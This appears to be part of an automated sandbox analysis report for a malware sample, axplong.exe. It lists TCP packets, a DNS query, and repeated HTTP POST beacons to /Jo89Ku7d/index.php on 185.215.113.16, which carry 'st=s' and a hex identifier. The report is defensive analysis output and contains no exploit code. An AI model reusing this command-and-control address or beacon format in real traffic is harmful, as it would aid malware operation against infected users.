Sep 26, 2024 17:06:57.150849104 CEST	80	55699	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:57.150926113 CEST	55699	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:57.153429985 CEST	55699	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:57.158202887 CEST	80	55699	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:57.382288933 CEST	80	55699	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:57.382500887 CEST	55699	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:57.487915039 CEST	55699	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:57.488516092 CEST	55700	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:57.493242025 CEST	80	55699	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:57.493283987 CEST	55699	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:57.493352890 CEST	80	55700	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:57.493426085 CEST	55700	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:57.493696928 CEST	55700	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:57.498614073 CEST	80	55700	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:58.201766014 CEST	80	55700	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:58.201837063 CEST	55700	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:58.202657938 CEST	55700	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:58.208606005 CEST	80	55700	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:58.435995102 CEST	80	55700	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:58.436288118 CEST	55700	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:58.550299883 CEST	55700	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:58.550699949 CEST	55701	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:58.555448055 CEST	80	55700	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:58.555509090 CEST	55700	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:58.555521011 CEST	80	55701	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:58.555586100 CEST	55701	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:58.555748940 CEST	55701	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:58.560453892 CEST	80	55701	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:59.249171972 CEST	80	55701	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:59.249248028 CEST	55701	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:59.250042915 CEST	55701	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:59.254852057 CEST	80	55701	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:59.473507881 CEST	80	55701	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:59.473618984 CEST	55701	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:59.581681013 CEST	55701	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:59.582113028 CEST	55702	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:59.586949110 CEST	80	55702	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:59.587120056 CEST	80	55701	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:59.587146997 CEST	55702	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:59.587177038 CEST	55701	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:59.587268114 CEST	55702	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:59.592056036 CEST	80	55702	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:00.296009064 CEST	80	55702	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:00.296235085 CEST	55702	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:00.296989918 CEST	55702	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:00.301831961 CEST	80	55702	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:00.523525953 CEST	80	55702	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:00.523646116 CEST	55702	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:00.628526926 CEST	55702	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:00.629477024 CEST	55703	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:00.633764029 CEST	80	55702	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:00.633841038 CEST	55702	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:00.634882927 CEST	80	55703	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:00.634963036 CEST	55703	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:00.635102034 CEST	55703	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:00.639838934 CEST	80	55703	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:01.370619059 CEST	80	55703	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:01.370768070 CEST	55703	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:01.374037027 CEST	55703	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:01.378962040 CEST	80	55703	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:01.602348089 CEST	80	55703	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:01.602758884 CEST	55703	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:01.706701994 CEST	55703	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:01.707119942 CEST	55704	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:01.712130070 CEST	80	55703	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:01.712240934 CEST	80	55704	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:01.712282896 CEST	55703	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:01.712332964 CEST	55704	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:01.712519884 CEST	55704	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:01.717431068 CEST	80	55704	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:02.426134109 CEST	80	55704	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:02.426228046 CEST	55704	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:02.426983118 CEST	55704	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:02.431886911 CEST	80	55704	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:02.784313917 CEST	80	55704	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:02.784436941 CEST	55704	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:02.895073891 CEST	55704	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:02.895924091 CEST	55705	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:02.900295973 CEST	80	55704	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:02.900429010 CEST	55704	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:02.900783062 CEST	80	55705	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:02.900892019 CEST	55705	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:02.901293039 CEST	55705	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:02.906127930 CEST	80	55705	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:03.600759029 CEST	80	55705	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:03.600847006 CEST	55705	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:03.605395079 CEST	55705	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:03.605724096 CEST	55706	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:03.610542059 CEST	80	55706	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:03.610599041 CEST	55706	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:03.610845089 CEST	80	55705	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:03.610888004 CEST	55705	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:03.611223936 CEST	55706	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:03.616043091 CEST	80	55706	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:04.307177067 CEST	80	55706	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:04.307225943 CEST	55706	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:04.414580107 CEST	55706	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:04.415045023 CEST	55707	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:04.420156956 CEST	80	55707	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:04.420242071 CEST	55707	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:04.420330048 CEST	80	55706	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:04.420373917 CEST	55706	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:04.420551062 CEST	55707	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:04.425352097 CEST	80	55707	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:05.139678955 CEST	80	55707	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:05.142332077 CEST	55707	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:05.153896093 CEST	55707	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:05.158799887 CEST	80	55707	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:05.382577896 CEST	80	55707	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:05.382981062 CEST	55707	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:05.490293980 CEST	55707	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:05.490768909 CEST	55708	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:05.495764017 CEST	80	55707	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:05.495805025 CEST	80	55708	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:05.495867968 CEST	55707	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:05.495903969 CEST	55708	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:05.496049881 CEST	55708	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:05.500817060 CEST	80	55708	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:06.197098017 CEST	80	55708	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:06.197173119 CEST	55708	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:06.200462103 CEST	55708	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:06.200905085 CEST	55709	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:06.205852985 CEST	80	55708	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:06.205913067 CEST	55708	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:06.206001043 CEST	80	55709	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:06.206070900 CEST	55709	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:06.206257105 CEST	55709	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:06.211096048 CEST	80	55709	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:07.033999920 CEST	80	55709	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:07.034061909 CEST	55709	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:07.151501894 CEST	55709	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:07.151869059 CEST	55710	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:07.156893969 CEST	80	55709	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:07.156964064 CEST	55709	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:07.157243013 CEST	80	55710	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:07.157435894 CEST	55710	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:07.157963037 CEST	55710	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:07.162853003 CEST	80	55710	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:07.851278067 CEST	80	55710	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:07.855353117 CEST	55710	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:07.857961893 CEST	55710	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:07.858360052 CEST	55711	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:08.083271980 CEST	80	55710	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:08.083358049 CEST	55710	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:08.084968090 CEST	80	55711	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:08.085042953 CEST	80	55710	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:08.085057974 CEST	55711	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:08.085093975 CEST	55710	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:08.085304022 CEST	55711	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:08.090518951 CEST	80	55711	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:08.792346001 CEST	80	55711	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:08.792433977 CEST	55711	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:08.896596909 CEST	55711	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:08.896945953 CEST	55712	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:08.902092934 CEST	80	55711	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:08.902142048 CEST	80	55712	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:08.902196884 CEST	55711	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:08.902230978 CEST	55712	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:08.902327061 CEST	55712	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:08.907407045 CEST	80	55712	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:09.606389046 CEST	80	55712	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:09.606461048 CEST	55712	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:09.611402035 CEST	55712	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:09.616334915 CEST	80	55712	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:09.839040995 CEST	80	55712	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:09.839291096 CEST	55712	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:10.634325981 CEST	55712	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:10.635786057 CEST	55713	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:10.639594078 CEST	80	55712	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:10.639642954 CEST	55712	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:10.640605927 CEST	80	55713	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:10.640675068 CEST	55713	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:10.652206898 CEST	55713	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:10.657093048 CEST	80	55713	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:11.361682892 CEST	80	55713	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:11.361756086 CEST	55713	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:11.365475893 CEST	55713	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:11.366132975 CEST	55714	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:11.370560884 CEST	80	55713	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:11.370742083 CEST	55713	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:11.370950937 CEST	80	55714	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:11.371017933 CEST	55714	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:11.371324062 CEST	55714	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:11.376353979 CEST	80	55714	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:12.076751947 CEST	80	55714	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:12.076859951 CEST	55714	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:12.193578959 CEST	55714	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:12.193944931 CEST	55715	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:12.199193001 CEST	80	55715	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:12.199213982 CEST	80	55714	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:12.199282885 CEST	55714	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:12.199352026 CEST	55715	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:12.199443102 CEST	55715	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:12.204384089 CEST	80	55715	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:12.920315981 CEST	80	55715	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:12.920454025 CEST	55715	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:12.923763990 CEST	55715	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:12.924076080 CEST	55716	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:12.929044962 CEST	80	55715	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:12.929115057 CEST	55715	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:12.929239988 CEST	80	55716	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:12.929306984 CEST	55716	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:12.929547071 CEST	55716	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:07:12.934592009 CEST	80	55716	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:13.653835058 CEST	80	55716	185.215.113.16	192.168.2.4
Sep 26, 2024 17:07:13.653909922 CEST	55716	80	192.168.2.4	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 17:05:37.369941950 CEST	53	51137	162.159.36.2	192.168.2.4
Sep 26, 2024 17:05:37.860608101 CEST	57668	53	192.168.2.4	1.1.1.1
Sep 26, 2024 17:05:37.869045973 CEST	53	57668	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 26, 2024 17:05:37.860608101 CEST	192.168.2.4	1.1.1.1	0x1f9f	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 26, 2024 17:05:37.869045973 CEST	1.1.1.1	192.168.2.4	0x1f9f	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	55650	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:03.361546040 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:04.071353912 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:04.073450089 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:04.300441980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	55651	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:04.416510105 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:05.147222996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:05.148212910 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:05.383308887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	55652	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:05.493577003 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:06.197068930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:06.197768927 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:06.440093994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	55653	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:06.556031942 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:07.265211105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:07.266149998 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:07.496052027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	55654	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:07.618197918 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:08.331146002 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
